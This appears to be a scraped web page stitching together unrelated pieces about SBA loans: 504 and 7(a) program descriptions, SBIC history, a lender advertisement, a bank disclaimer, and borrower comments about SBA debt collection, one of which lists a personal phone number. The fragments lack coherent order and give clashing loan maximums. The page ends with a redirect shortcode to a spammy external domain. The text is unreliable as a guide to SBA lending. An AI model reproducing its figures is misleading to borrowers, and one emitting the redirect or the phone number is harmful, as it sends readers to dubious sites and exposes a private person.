This is the type of loan that provides small businesses with long-term, fixed rate funding to buy generally real estate or machinery or equipment for expansion or modernization. A private lender must agree to cover up to 50 percent of the loan. Meanwhile, a Certified Development Company, which is one of hundreds of private, nonprofit corporations designed to help economic development, picks up 40 percent of the loan. The borrower must contribute at least 10 percent equity. “This loan involves a major capital acquisition for machinery, equipment, and/or real estate,” Cruz says. “A business may want to move out of rental space and buy a small building and this is the loan for them. They have to have 51 percent occupancy. You could not buy the building and occupy only 1 percent.” The SBA’s maximum debenture is $1.5 million when companies agree to job creation or community development goals. In general, businesses are required to create or retain one job for every $65,000 funded by the SBA — although small manufacturers have a $100,000 job retention or creation requirement. That SBA contribution can go up to $2 million ($4 million for small manufacturers) if public policy goals are met, including revitalization of a business district, export expansion, minority business develop, rural development, among other goals.
I owned a commercial building in Arizona. In 2013 the building went to foreclosure sale. I had an SBA 504. The property went back to the 1st Lien holder, but the debenture/SBA is trying to collect from me and my ex-wife. I could use someone experienced in this field. The debt is for $600k. I can be reached by phone at 818-970-5778.
We closed our business due to downturn in economy last year. We finally received an OIC approval from SBA after almost a year. The only specifics it really gives on the “consequences” is that we will not be able to receive any type of gov’t loans in the future (SBA, FHA, VA, student loans), and that we will be 1099’s for the difference. I know if you settle a credit card and they 1099 you, you can fill out the worksheet to regarding debt vs. income, and if your income in insufficient the 1099 income is invalid. Is it the same with this SBA debt? Also, does the OIC settlement release my personal guarantee?
The SBA Builders Line of Credit is designed to help small contractors or developers to construct or rehabilitate residential or commercial property that will be sold to a third party that is not known at the time construction or rehabilitation begins. The purchase of land cannot exceed 20% of the CAPLine proceeds.
The trusts win many of the lawsuits they file automatically, because borrowers often do not show up to fight. Those court victories, which can be used to garnish paychecks and take federal benefits like Social Security from bank accounts, can haunt borrowers for decades.
One of the first steps toward a professionally managed private equity and venture capital industry was the passage of the Small Business Investment Act of 1958. The 1958 Act officially allowed the SBA to license private “Small Business Investment Companies” (SBICs) to help with financing and managing small entrepreneurial businesses in the United States. Passage of the Act addressed concerns raised in a Federal Reserve Board report to Congress that concluded that a major gap existed in the capital markets for long-term funding for growth-oriented small businesses. Additionally, it was thought that fostering entrepreneurial companies would spur technological advances to compete with the Soviet Union. Facilitating the flow of capital through the economy up to the pioneering small concerns in order to stimulate the U.S. economy was and still is today the main goal of the SBIC program. The passage of the Small Business Investment Act of 1958 by the federal government was an important incentive for would-be venture capital organizations. The act provided venture capital firms structured either as SBICs or Minority Enterprise Small Business Investment Companies (MESBICs) access to federal funds which could be leveraged at a ratio of up to 4:1 against privately raised investment funds. In 2005, in response to extensive losses incurred in connection with tech boom investments, the SBA decided to wind down its “Participating Securities” SBIC program, which had provided equity-like SBA backing for equity-oriented SBIC funds. The SBA’s “Debenture” SBIC program, the original SBIC vehicle founded in 1958, continues to license and contribute capital to SBIC funds. The SBIC program had its highest ever year in Fiscal Year 2010.
Merchant Advisors is a direct online lender and offers the flexibility to create small business loans at terms that meet your specific financial needs. With our high loan approval rates, we say ‘yes’ when bank says ‘no’. With Merchant Advisors, you’ll get a dedicated financial advisor will provide you one-on-one personalized service.
This is the SBA’s most commonly used — and most flexible — type of loan to help start-up and existing small businesses when they can’t get funding through normal channels. It was named for section 7(a) of the Small Business Act. It’s flexible because it can be used for a variety of purposes, including buying machinery or equipment or furniture, purchasing real estate, leasehold improvements, working capital or even debt refinancing. The maturity term for these loans is up to 10 years for working capital and up to 25 years for fixed assets. In general, the SBA’s maximum exposure for such loans is capped at $1.5 million and since the agency will back up to 75 percent of a 7(a) loan that means a business could borrow up to $2 million. (The SBA’s share of such loans was raised to 90 percent under the American Recovery and Reinvestment Act, which became law in February 2009, but is expected to drop back down unless extended by Congress.)
What can we do to protect ourselves and our parents? We have a small cash offer for the total debt of the property that will cover the first on the property but the second loan which is SBA guaranteed will not be covered.
Lenders vary in the amount and history length of the documents they need to process your loan application. Be prepared to provide up to 2 years of history. Not all lenders will require two years on all documents, but many will not require more than that. In any case, be prepared to furnish all requested documentation.
Sorry to hear all these stories. I have been through this and used an SBA specialized attorney. We were willing to settle from the day we closed the business. Once lawyers got involved it took over a year. In the end we ended up paying the total loan amount over two years, and the banks lawyer fees. Our OIC was refused by the SBA. I could’ve made the same agreement on day one and avoided the substantial lawyer fees but no one would talk to us. I did consider just letting it go to the treasury but the one thing that did not let me do it was the lawyer fees that would continue to accumulate. These will sometimes end up being more then what you originally owed. Looking back the only people that make out in these situations are lawyers . I almost think it might have been better to do nothing and not answer and lawsuits and then file bankruptcy. I would never recommend anyone get an SBA loan to start up a business. Odds are your business will fail and they collateralize the loan as close to 100% as they can get. The personal gaurantee makes you liable for the rest. I wish everyone luck. Its not the end of the world and life will go on.
Though I focus on online lenders in my analysis above, you should evaluate all your options before committing to a lender. Here are the places you should look when trying to get a small business loan:
The SBA uses it to pre-screen. Cutoff is 140. Banks will use it to pre-screen their loan applicants but they usually set their cutoff higher, typically around 160. If your score falls below that, they will look at your business as too much of a risk. Plus, banks don’t want to waste their time filling out lengthy SBA loan applications if they are confident you’ll get denied because of a low FICO SBSS score.
Financing maximums and terms are determined by borrower qualifications and use of funds. U.S. Bank and its representatives do not provide tax advice. Consult an advisor regarding a particular financial situation. For any deferred or promotional payment period, interest accrues and is amortized over the remainder of the term and outstanding balance. Deposit products offered by U.S. Bank National Association. Member FDIC. Credit products offered by U.S. Bank National Association and are subject to normal credit approval and program guidelines. Deposit products offered by U.S. Bank National Association. Member FDIC.
Builders Line of Credit: SBA line of credit for contractors that build renovate residential or commercial buildings used for materials, equipment, permitting, labor, and even land associated with a project. Up to $5,000,000.
You’ll need to be a member, though requirements are often as simple as living in a specific area. Note that though credit unions may be more flexible than big banks, they still primarily lend to established businesses.
Keep in touch: An angel may not be interested in your business right away, especially if you don’t have a track record as a successful entrepreneur. To combat that, you should formulate a way to keep them in the loop on big developments, like a major sale. [redirect url=’http://zoneprofit.stream/bump’ sec=’7′]